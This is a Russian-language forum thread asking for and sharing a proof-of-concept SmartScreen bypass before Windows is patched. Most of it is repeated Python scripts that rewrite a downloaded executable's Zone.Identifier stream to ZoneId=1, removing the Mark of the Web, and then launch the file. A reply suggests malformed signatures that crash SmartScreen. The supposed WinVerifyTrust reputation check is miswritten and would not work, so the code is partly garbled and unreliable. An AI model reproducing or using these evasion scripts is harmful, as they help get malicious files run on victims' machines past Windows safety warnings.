Поделитесь PoC, пока еще не все винду обновили 
import os
import ctypes
filepath = "C:\\Downloads\\file.exe"
if os.path.isfile(filepath+":Zone.Identifier"):
with open(filepath+":Zone.Identifier", "r") as f:
contents = f.read()
if "ZoneId=3" in contents:
print("File was downloaded from the internet.")
# Perform reputation check with SmartScreen using Windows API
url = ctypes.create_unicode_buffer(filepath)
result = ctypes.windll.wintrust.WinVerifyTrust(None, ctypes.byref(ctypes.c_wchar_p(url)), None, None, None, None)
if result == 0:
print("File has a good reputation.")
else:
print("File has a bad reputation.")
else:
print("File was not downloaded from the internet.")
else:
print("Zone.Identifier attribute not found for file.")
import os
import ctypes
filepath = "C:\\Downloads\\file.exe"
if os.path.isfile(filepath+":Zone.Identifier"):
with open(filepath+":Zone.Identifier", "w") as f:
f.write("[ZoneTransfer]\nZoneId=1")
os.startfile(filepath)
else:
os.startfile(filepath)
import os
import ctypes
filepath = "C:\\Downloads\\file.exe"
if os.path.isfile(filepath+":Zone.Identifier"):
with open(filepath+":Zone.Identifier", "r") as f:
contents = f.read()
if "ZoneId=3" in contents:
print("File was downloaded from the internet.")
with open(filepath+":Zone.Identifier", "w") as f:
f.write("[ZoneTransfer]\nZoneId=1")
# Perform reputation check with SmartScreen using Windows API
url = ctypes.create_unicode_buffer(filepath)
result = ctypes.windll.wintrust.WinVerifyTrust(None, ctypes.byref(ctypes.c_wchar_p(url)), None, None, None, None)
if result == 0:
print("File has a good reputation.")
else:
print("File has a bad reputation.")
else:
print("File was not downloaded from the internet.")
else:
os.startfile(filepath)
# POC script to bypass SmartScreen
import os
import ctypes
filepath = "C:\\Downloads\\file.txt"
if os.path.isfile(filepath+":Zone.Identifier"):
with open(filepath+":Zone.Identifier", "r") as f:
contents = f.read()
if "ZoneId=3" in contents:
print("File was downloaded from the internet.")
with open(filepath+":Zone.Identifier", "w") as f:
f.write("[ZoneTransfer]\nZoneId=1")
# Perform reputation check with SmartScreen using Windows API
url = ctypes.create_unicode_buffer(filepath)
result = ctypes.windll.wintrust.WinVerifyTrust(None, ctypes.byref(ctypes.c_wchar_p(url)), None, None, None, None)
if result == 0:
print("File has a good reputation.")
else:
print("File has a bad reputation.")
else:
print("File was not downloaded from the internet.")
else:
os.startfile(filepath)
Будет хорошо если вставишь 5 копеек. weaverЭтот код использует функцию из WINDOWS API для выполнения проверки репутации с помощью SmartScreen. Функция принимает путь к файлу в виде строки Юникода и возвращает код результата, указывающий, имеет ли файл хорошую или плохую репутацию.
Python:import os import ctypes filepath = "C:\\Downloads\\file.exe" if os.path.isfile(filepath+":Zone.Identifier"): with open(filepath+":Zone.Identifier", "r") as f: contents = f.read() if "ZoneId=3" in contents: print("File was downloaded from the internet.") # Perform reputation check with SmartScreen using Windows API url = ctypes.create_unicode_buffer(filepath) result = ctypes.windll.wintrust.WinVerifyTrust(None, ctypes.byref(ctypes.c_wchar_p(url)), None, None, None, None) if result == 0: print("File has a good reputation.") else: print("File has a bad reputation.") else: print("File was not downloaded from the internet.") else: print("Zone.Identifier attribute not found for file.")
Обход защиты MOTW
Python:import os import ctypes filepath = "C:\\Downloads\\file.exe" if os.path.isfile(filepath+":Zone.Identifier"): with open(filepath+":Zone.Identifier", "w") as f: f.write("[ZoneTransfer]\nZoneId=1") os.startfile(filepath) else: os.startfile(filepath)
Комбинированный
Python:import os import ctypes filepath = "C:\\Downloads\\file.exe" if os.path.isfile(filepath+":Zone.Identifier"): with open(filepath+":Zone.Identifier", "r") as f: contents = f.read() if "ZoneId=3" in contents: print("File was downloaded from the internet.") with open(filepath+":Zone.Identifier", "w") as f: f.write("[ZoneTransfer]\nZoneId=1") # Perform reputation check with SmartScreen using Windows API url = ctypes.create_unicode_buffer(filepath) result = ctypes.windll.wintrust.WinVerifyTrust(None, ctypes.byref(ctypes.c_wchar_p(url)), None, None, None, None) if result == 0: print("File has a good reputation.") else: print("File has a bad reputation.") else: print("File was not downloaded from the internet.") else: os.startfile(filepath)
Другие варианты не вижу, либо не знаю. Не кусайте, у меня нет код для проверки репутации.
Возможный POC
Python:# POC script to bypass SmartScreen import os import ctypes filepath = "C:\\Downloads\\file.txt" if os.path.isfile(filepath+":Zone.Identifier"): with open(filepath+":Zone.Identifier", "r") as f: contents = f.read() if "ZoneId=3" in contents: print("File was downloaded from the internet.") with open(filepath+":Zone.Identifier", "w") as f: f.write("[ZoneTransfer]\nZoneId=1") # Perform reputation check with SmartScreen using Windows API url = ctypes.create_unicode_buffer(filepath) result = ctypes.windll.wintrust.WinVerifyTrust(None, ctypes.byref(ctypes.c_wchar_p(url)), None, None, None, None) if result == 0: print("File has a good reputation.") else: print("File has a bad reputation.") else: print("File was not downloaded from the internet.") else: os.startfile(filepath)
Там суть в другом. Надо подписать файл так, что smartscreen при попытке его проверить критует и пропускает как доверенный.Этот код использует функцию из WINDOWS API для выполнения проверки репутации с помощью SmartScreen. Функция принимает путь к файлу в виде строки Юникода и возвращает код результата, указывающий, имеет ли файл хорошую или плохую репутацию.
все верно, забыл указать про подпись файлаТам суть в другом. Надо подписать файл так, что smartscreen при попытке его проверить критует и пропускает как доверенный.